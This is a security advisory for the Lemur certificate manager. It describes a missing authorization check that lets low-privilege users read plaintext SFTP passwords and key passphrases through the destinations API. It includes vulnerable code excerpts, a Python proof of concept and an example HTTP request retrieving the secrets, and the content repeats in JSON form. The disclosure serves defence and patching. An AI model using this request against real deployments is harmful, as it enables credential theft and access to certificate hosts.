PYSEC-2026-3674
Vulnerability from pysec - Published: 2026-08-19 11:56 - Updated: 2026-08-19 12:16Summary
Lemur's destination read endpoints -- GET /api/1/destinations and GET /api/1/destinations/<id> -- return the full set of stored plugin option values to any authenticated user, with no authorization check and no redaction of secret-bearing options. The sibling write endpoints (POST/PUT/DELETE) are gated with @admin_permission.require(http_exception=403), but the two read handlers are protected only by login_required (inherited from AuthenticatedResource). They do not even exclude read-only users.
The built-in SFTP destination plugin (sftp-destination) stores its password and privateKeyPass options in cleartext in the destinations.options column (the plugin's own docstring states "Passwords are not encrypted and stored as a plain text."). Because DestinationOutputSchema serializes every option value verbatim, any authenticated principal -- including a read-only user -- can retrieve these credentials and use them to authenticate to the remote SFTP server to which Lemur deploys certificates.
Details
Read endpoints lack the authorization that their write siblings enforce:
lemur/destinations/views.py
class DestinationsList(AuthenticatedResource):
@validate_schema(None, destinations_output_schema)
def get(self): # <-- only login_required; no admin/read-only gate
...
return service.render(args)
@validate_schema(destination_input_schema, destination_output_schema)
@admin_permission.require(http_exception=403) # write path IS gated
def post(self, data=None): ...
class Destinations(AuthenticatedResource):
@validate_schema(None, destination_output_schema)
def get(self, destination_id): # <-- only login_required; no admin/read-only gate
return service.get(destination_id)
@validate_schema(destination_input_schema, destination_output_schema)
@admin_permission.require(http_exception=403) # write path IS gated
def put(self, destination_id, data=None): ...
@admin_permission.require(http_exception=403) # write path IS gated
def delete(self, destination_id): ...
The output schema emits all option values, including secret ones:
lemur/destinations/schemas.py
class DestinationOutputSchema(LemurOutputSchema):
...
options = fields.List(fields.Dict()) # raw option dicts, incl. {"name":"password","value":...}
@post_dump
def fill_object(self, data):
if data:
data["plugin"]["pluginOptions"] = data["options"] # copied verbatim into plugin block too
...
return data
options is the raw JSONType DB column (lemur/destinations/models.py), stored exactly as the plugin saved it. The SFTP plugin stores plaintext credentials:
lemur/plugins/lemur_sftp/plugin.py
"""
Passwords are not encrypted and stored as a plain text.
"""
options = [
...
{"name": "password", "type": "str", "required": False, ...}, # plaintext
{"name": "privateKeyPass", "type": "str", "required": False, ...}, # plaintext
...
]
There is no read-only enforcement on these GET handlers (no StrictRolePermission() call), so even users explicitly restricted to read-only access can read the secrets.
PoC
Reproduction of Lemur's exact serialization path (verbatim DestinationOutputSchema + PluginOutputSchema, marshmallow 2.21.0), fed a stored SFTP destination row with password auth:
from marshmallow import fields, post_dump, Schema
class PluginOutputSchema(Schema): # verbatim from lemur/schemas.py
id = fields.Integer(); label = fields.String(); description = fields.String()
active = fields.Boolean(); options = fields.List(fields.Dict(), dump_to="pluginOptions")
slug = fields.String(); title = fields.String()
class DestinationOutputSchema(Schema): # verbatim from lemur/destinations/schemas.py
id = fields.Integer(); label = fields.String(); description = fields.String()
active = fields.Boolean(); plugin = fields.Nested(PluginOutputSchema)
options = fields.List(fields.Dict())
@post_dump
def fill_object(self, data):
if data:
data["plugin"]["pluginOptions"] = data["options"]
for option in data["plugin"]["pluginOptions"]:
if "export-plugin" in option["type"]:
option["value"]["pluginOptions"] = option["value"]["plugin_options"]
return data
class Destination: # a stored SFTP destination row
id = 4; label = "prod-nginx-sftp"; description = "Deploy certs via SFTP"; active = True
options = [
{"name": "host", "type": "str", "value": "10.0.5.20"},
{"name": "user", "type": "str", "value": "deploy"},
{"name": "password", "type": "str", "value": "S3cr3t-SFTP-Passw0rd!"},
{"name": "privateKeyPass", "type": "str", "value": "rsa-key-passphrase-xyz"},
]
plugin = {"slug": "sftp-destination", "title": "SFTP",
"description": "Allow the uploading of certificates to SFTP",
"options": [], "id": 1, "label": None, "active": None}
out = DestinationOutputSchema().dump(Destination()).data
import json; print(json.dumps(out))
assert "S3cr3t-SFTP-Passw0rd!" in json.dumps(out)
assert "rsa-key-passphrase-xyz" in json.dumps(out)
Output (truncated) -- the plaintext secrets appear in both options and plugin.pluginOptions:
{"options":[ ... {"name":"password","type":"str","value":"S3cr3t-SFTP-Passw0rd!"},
{"name":"privateKeyPass","type":"str","value":"rsa-key-passphrase-xyz"} ...],
"plugin":{"pluginOptions":[ ... {"name":"password","value":"S3cr3t-SFTP-Passw0rd!"} ...],
"slug":"sftp-destination", ...}}
End-to-end, as a low-privilege (or read-only) user holding a normal Lemur JWT:
GET /api/1/destinations/4 HTTP/1.1
Host: lemur.example.com
Authorization: Bearer <low-priv-user-token>
HTTP/1.1 200 OK
{ "plugin": { "pluginOptions": [ ... {"name":"password","value":"S3cr3t-SFTP-Passw0rd!"} ... ] } }
Impact
Confidentiality breach of deployment credentials. Any authenticated Lemur user -- regardless of role, including users intentionally limited to read-only -- can enumerate all configured destinations and read their plaintext secrets. For SFTP destinations this yields the SSH password and/or the passphrase protecting the RSA key Lemur uses to push certificates. With these, an attacker authenticates directly to the remote certificate-deployment hosts, replacing or reading their TLS material -- a scope change beyond Lemur itself (S:C). The same read path exposes any other secret-bearing option a destination plugin stores in cleartext.
Suggested fix: gate the destination GET handlers with admin_permission (consistent with the write handlers), and/or redact option values whose type/name marks them as secret before serialization in DestinationOutputSchema.
| Name | purl | lemur | pkg:pypi/lemur |
|---|
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "lemur",
"purl": "pkg:pypi/lemur"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.9.3"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.11.0",
"0.2.1",
"0.8.0",
"0.8.1",
"0.9.0",
"1.0.0",
"1.1.0",
"1.2.0",
"1.3.1",
"1.3.2",
"1.4.0",
"1.5.0",
"1.6.0",
"1.7.0",
"1.8.0",
"1.8.1",
"1.8.2",
"1.9.0",
"1.9.1",
"1.9.2"
]
}
],
"aliases": [
"CVE-2026-71307",
"GHSA-6c8m-q6g9-vrw3"
],
"details": "### Summary\nLemur\u0027s destination read endpoints -- `GET /api/1/destinations` and `GET /api/1/destinations/\u003cid\u003e` -- return the full set of stored plugin option values to any authenticated user, with no authorization check and no redaction of secret-bearing options. The sibling write endpoints (`POST`/`PUT`/`DELETE`) are gated with `@admin_permission.require(http_exception=403)`, but the two read handlers are protected only by `login_required` (inherited from `AuthenticatedResource`). They do not even exclude `read-only` users.\n\nThe built-in SFTP destination plugin (`sftp-destination`) stores its `password` and `privateKeyPass` options in cleartext in the `destinations.options` column (the plugin\u0027s own docstring states \"Passwords are not encrypted and stored as a plain text.\"). Because `DestinationOutputSchema` serializes every option value verbatim, any authenticated principal -- including a `read-only` user -- can retrieve these credentials and use them to authenticate to the remote SFTP server to which Lemur deploys certificates.\n\n\n### Details\nRead endpoints lack the authorization that their write siblings enforce:\n\n`lemur/destinations/views.py`\n```python\nclass DestinationsList(AuthenticatedResource):\n @validate_schema(None, destinations_output_schema)\n def get(self): # \u003c-- only login_required; no admin/read-only gate\n ...\n return service.render(args)\n\n @validate_schema(destination_input_schema, destination_output_schema)\n @admin_permission.require(http_exception=403) # write path IS gated\n def post(self, data=None): ...\n\nclass Destinations(AuthenticatedResource):\n @validate_schema(None, destination_output_schema)\n def get(self, destination_id): # \u003c-- only login_required; no admin/read-only gate\n return service.get(destination_id)\n\n @validate_schema(destination_input_schema, destination_output_schema)\n @admin_permission.require(http_exception=403) # write path IS gated\n def put(self, destination_id, data=None): ...\n\n @admin_permission.require(http_exception=403) # write path IS gated\n def delete(self, destination_id): ...\n```\n\nThe output schema emits all option values, including secret ones:\n\n`lemur/destinations/schemas.py`\n```python\nclass DestinationOutputSchema(LemurOutputSchema):\n ...\n options = fields.List(fields.Dict()) # raw option dicts, incl. {\"name\":\"password\",\"value\":...}\n\n @post_dump\n def fill_object(self, data):\n if data:\n data[\"plugin\"][\"pluginOptions\"] = data[\"options\"] # copied verbatim into plugin block too\n ...\n return data\n```\n\n`options` is the raw `JSONType` DB column (`lemur/destinations/models.py`), stored exactly as the plugin saved it. The SFTP plugin stores plaintext credentials:\n\n`lemur/plugins/lemur_sftp/plugin.py`\n```python\n\"\"\"\n Passwords are not encrypted and stored as a plain text.\n\"\"\"\noptions = [\n ...\n {\"name\": \"password\", \"type\": \"str\", \"required\": False, ...}, # plaintext\n {\"name\": \"privateKeyPass\", \"type\": \"str\", \"required\": False, ...}, # plaintext\n ...\n]\n```\n\nThere is no `read-only` enforcement on these GET handlers (no `StrictRolePermission()` call), so even users explicitly restricted to read-only access can read the secrets.\n\n\n### PoC\nReproduction of Lemur\u0027s exact serialization path (verbatim `DestinationOutputSchema` + `PluginOutputSchema`, marshmallow 2.21.0), fed a stored SFTP destination row with password auth:\n\n```python\nfrom marshmallow import fields, post_dump, Schema\n\nclass PluginOutputSchema(Schema): # verbatim from lemur/schemas.py\n id = fields.Integer(); label = fields.String(); description = fields.String()\n active = fields.Boolean(); options = fields.List(fields.Dict(), dump_to=\"pluginOptions\")\n slug = fields.String(); title = fields.String()\n\nclass DestinationOutputSchema(Schema): # verbatim from lemur/destinations/schemas.py\n id = fields.Integer(); label = fields.String(); description = fields.String()\n active = fields.Boolean(); plugin = fields.Nested(PluginOutputSchema)\n options = fields.List(fields.Dict())\n @post_dump\n def fill_object(self, data):\n if data:\n data[\"plugin\"][\"pluginOptions\"] = data[\"options\"]\n for option in data[\"plugin\"][\"pluginOptions\"]:\n if \"export-plugin\" in option[\"type\"]:\n option[\"value\"][\"pluginOptions\"] = option[\"value\"][\"plugin_options\"]\n return data\n\nclass Destination: # a stored SFTP destination row\n id = 4; label = \"prod-nginx-sftp\"; description = \"Deploy certs via SFTP\"; active = True\n options = [\n {\"name\": \"host\", \"type\": \"str\", \"value\": \"10.0.5.20\"},\n {\"name\": \"user\", \"type\": \"str\", \"value\": \"deploy\"},\n {\"name\": \"password\", \"type\": \"str\", \"value\": \"S3cr3t-SFTP-Passw0rd!\"},\n {\"name\": \"privateKeyPass\", \"type\": \"str\", \"value\": \"rsa-key-passphrase-xyz\"},\n ]\n plugin = {\"slug\": \"sftp-destination\", \"title\": \"SFTP\",\n \"description\": \"Allow the uploading of certificates to SFTP\",\n \"options\": [], \"id\": 1, \"label\": None, \"active\": None}\n\nout = DestinationOutputSchema().dump(Destination()).data\nimport json; print(json.dumps(out))\nassert \"S3cr3t-SFTP-Passw0rd!\" in json.dumps(out)\nassert \"rsa-key-passphrase-xyz\" in json.dumps(out)\n```\n\nOutput (truncated) -- the plaintext secrets appear in both `options` and `plugin.pluginOptions`:\n```json\n{\"options\":[ ... {\"name\":\"password\",\"type\":\"str\",\"value\":\"S3cr3t-SFTP-Passw0rd!\"},\n {\"name\":\"privateKeyPass\",\"type\":\"str\",\"value\":\"rsa-key-passphrase-xyz\"} ...],\n \"plugin\":{\"pluginOptions\":[ ... {\"name\":\"password\",\"value\":\"S3cr3t-SFTP-Passw0rd!\"} ...],\n \"slug\":\"sftp-destination\", ...}}\n```\n\nEnd-to-end, as a low-privilege (or read-only) user holding a normal Lemur JWT:\n```\nGET /api/1/destinations/4 HTTP/1.1\nHost: lemur.example.com\nAuthorization: Bearer \u003clow-priv-user-token\u003e\n\nHTTP/1.1 200 OK\n{ \"plugin\": { \"pluginOptions\": [ ... {\"name\":\"password\",\"value\":\"S3cr3t-SFTP-Passw0rd!\"} ... ] } }\n```\n\n### Impact\nConfidentiality breach of deployment credentials. Any authenticated Lemur user -- regardless of role, including users intentionally limited to `read-only` -- can enumerate all configured destinations and read their plaintext secrets. For SFTP destinations this yields the SSH password and/or the passphrase protecting the RSA key Lemur uses to push certificates. With these, an attacker authenticates directly to the remote certificate-deployment hosts, replacing or reading their TLS material -- a scope change beyond Lemur itself (S:C). The same read path exposes any other secret-bearing option a destination plugin stores in cleartext.\n\nSuggested fix: gate the destination GET handlers with `admin_permission` (consistent with the write handlers), and/or redact option values whose type/name marks them as secret before serialization in `DestinationOutputSchema`.",
"id": "PYSEC-2026-3674",
"modified": "2026-08-19T12:16:27.319532Z",
"published": "2026-08-19T11:56:28.427292Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Netflix/lemur/security/advisories/GHSA-6c8m-q6g9-vrw3"
},
{
"type": "WEB",
"url": "https://github.com/Netflix/lemur/commit/751c970ec42a53d00ecc9c6a96e0e51b6737ae53"
},
{
"type": "PACKAGE",
"url": "https://github.com/Netflix/lemur"
},
{
"type": "WEB",
"url": "https://github.com/Netflix/lemur/releases/tag/v1.9.3"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/lemur"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-6c8m-q6g9-vrw3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-71307"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Lemur: Authenticated low-privilege users can read plaintext destination credentials (SFTP password / private-key passphrase) via the destinations API"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.